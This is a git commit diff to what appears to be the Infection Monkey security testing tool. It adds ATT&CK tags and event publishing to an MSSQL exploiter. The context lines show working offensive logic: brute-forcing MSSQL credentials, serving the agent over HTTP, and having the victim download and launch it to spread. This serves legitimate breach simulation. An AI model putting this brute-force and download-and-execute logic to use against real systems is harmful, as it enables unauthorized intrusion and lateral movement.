Merge branch '2269-publish-events-for-mssql-exploiter' into develop

PR #2401
This commit is contained in:
Mike Salvatore 2022-10-07 08:46:40 -04:00
commit 6d60e33c1e
2 changed files with 44 additions and 14 deletions

View File

@ -1,12 +1,18 @@
import logging import logging
from pathlib import PureWindowsPath from pathlib import PureWindowsPath
from time import sleep from time import sleep, time
from typing import Sequence, Tuple from typing import Iterable, Optional, Tuple
import pymssql import pymssql
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.credentials import get_plaintext from common.credentials import get_plaintext
from common.tags import (
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
)
from common.utils.exceptions import FailedExploitationError from common.utils.exceptions import FailedExploitationError
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.helpers import get_agent_dst_path
@ -20,6 +26,8 @@ from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
MSSQL_EXPLOITER_TAG = "mssql-exploiter"
class MSSQLExploiter(HostExploiter): class MSSQLExploiter(HostExploiter):
_EXPLOITED_SERVICE = "MSSQL" _EXPLOITED_SERVICE = "MSSQL"
@ -36,13 +44,20 @@ class MSSQLExploiter(HostExploiter):
"DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')" "DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
) )
_EXPLOITER_TAGS = (MSSQL_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
_PROPAGATION_TAGS = (
MSSQL_EXPLOITER_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
)
def __init__(self): def __init__(self):
super().__init__() super().__init__()
self.cursor = None self.cursor = None
self.agent_http_path = None self.agent_http_path = None
def _exploit_host(self) -> ExploiterResultData: def _exploit_host(self) -> ExploiterResultData:
agent_path_on_victim = get_agent_dst_path(self.host) agent_path_on_victim = PureWindowsPath(get_agent_dst_path(self.host))
# Brute force to get connection # Brute force to get connection
creds = generate_identity_secret_pairs( creds = generate_identity_secret_pairs(
@ -52,16 +67,18 @@ class MSSQLExploiter(HostExploiter):
try: try:
self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds) self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
except FailedExploitationError: except FailedExploitationError:
logger.info( error_message = (
f"Failed brute-forcing of MSSQL server on {self.host}," f"Failed brute-forcing of MSSQL server on {self.host},"
f" no credentials were successful" f" no credentials were successful"
) )
logger.error(error_message)
return self.exploit_result return self.exploit_result
if self._is_interrupted(): if self._is_interrupted():
self._set_interrupted() self._set_interrupted()
return self.exploit_result return self.exploit_result
timestamp = time()
try: try:
self._upload_agent(agent_path_on_victim) self._upload_agent(agent_path_on_victim)
self._run_agent(agent_path_on_victim) self._run_agent(agent_path_on_victim)
@ -72,15 +89,17 @@ class MSSQLExploiter(HostExploiter):
) )
logger.error(error_message) logger.error(error_message)
self._publish_propagation_event(timestamp, False, error_message=error_message)
self.exploit_result.error_message = error_message self.exploit_result.error_message = error_message
return self.exploit_result return self.exploit_result
self._publish_propagation_event(timestamp, True)
self.exploit_result.propagation_success = True self.exploit_result.propagation_success = True
return self.exploit_result return self.exploit_result
def _brute_force( def _brute_force(
self, host: str, port: str, users_passwords_pairs_list: Sequence[Tuple[str, str]] self, host: str, port: str, users_passwords_pairs_list: Iterable[Tuple[str, str]]
) -> pymssql.Cursor: ) -> pymssql.Cursor:
""" """
Starts the brute force connection attempts and if needed then init the payload process. Starts the brute force connection attempts and if needed then init the payload process.
@ -106,6 +125,7 @@ class MSSQLExploiter(HostExploiter):
) )
for user, password in credentials_iterator: for user, password in credentials_iterator:
timestamp = time()
try: try:
# Core steps # Core steps
# Trying to connect # Trying to connect
@ -122,14 +142,14 @@ class MSSQLExploiter(HostExploiter):
) )
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
self.report_login_attempt(True, user, password) self._report_login_attempt(timestamp, True, user, password)
cursor = conn.cursor() cursor = conn.cursor()
return cursor return cursor
except pymssql.OperationalError as err: except pymssql.OperationalError as err:
logger.info(f"Connection to MSSQL failed: {err}") error_message = f"Connection to MSSQL failed: {err}"
self.report_login_attempt(False, user, password) logger.info(error_message)
# Combo didn't work, hopping to the next one self._report_login_attempt(timestamp, False, user, password, error_message)
pass
logger.warning( logger.warning(
"No user/password combo was able to connect to host: {0}:{1}, " "No user/password combo was able to connect to host: {0}:{1}, "
@ -139,14 +159,23 @@ class MSSQLExploiter(HostExploiter):
"Bruteforce process failed on host: {0}".format(self.host.ip_addr) "Bruteforce process failed on host: {0}".format(self.host.ip_addr)
) )
def _report_login_attempt(
self, timestamp: float, success: bool, user, password: str, message: str = ""
):
self._publish_exploitation_event(timestamp, success, error_message=message)
self.report_login_attempt(success, user, password)
def _upload_agent(self, agent_path_on_victim: PureWindowsPath): def _upload_agent(self, agent_path_on_victim: PureWindowsPath):
http_thread = self._start_agent_server(agent_path_on_victim) http_thread = self._start_agent_server(agent_path_on_victim)
self._run_agent_download_command(agent_path_on_victim) self._run_agent_download_command(agent_path_on_victim)
MSSQLExploiter._stop_agent_server(http_thread) if http_thread:
MSSQLExploiter._stop_agent_server(http_thread)
def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer: def _start_agent_server(
self, agent_path_on_victim: PureWindowsPath
) -> Optional[LockedHTTPServer]:
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, str(agent_path_on_victim), self.agent_binary_repository self.host, str(agent_path_on_victim), self.agent_binary_repository
) )
@ -179,7 +208,7 @@ class MSSQLExploiter(HostExploiter):
def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str: def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str:
agent_args = build_monkey_commandline( agent_args = build_monkey_commandline(
self.servers, self.current_depth + 1, agent_path_on_victim self.servers, self.current_depth + 1, str(agent_path_on_victim)
) )
return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}" return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}"

View File

@ -3,6 +3,7 @@ import urllib.error
import urllib.parse import urllib.parse
import urllib.request import urllib.request
from threading import Lock from threading import Lock
from typing import Optional, Tuple
from infection_monkey.network.firewall import app as firewall from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.info import get_free_tcp_port
@ -28,7 +29,7 @@ class HTTPTools(object):
@staticmethod @staticmethod
def create_locked_transfer( def create_locked_transfer(
host, dropper_target_path, agent_binary_repository, local_ip=None, local_port=None host, dropper_target_path, agent_binary_repository, local_ip=None, local_port=None
) -> LockedHTTPServer: ) -> Tuple[Optional[str], Optional[LockedHTTPServer]]:
""" """
Create http server for file transfer with a lock Create http server for file transfer with a lock
:param host: Variable with target's information :param host: Variable with target's information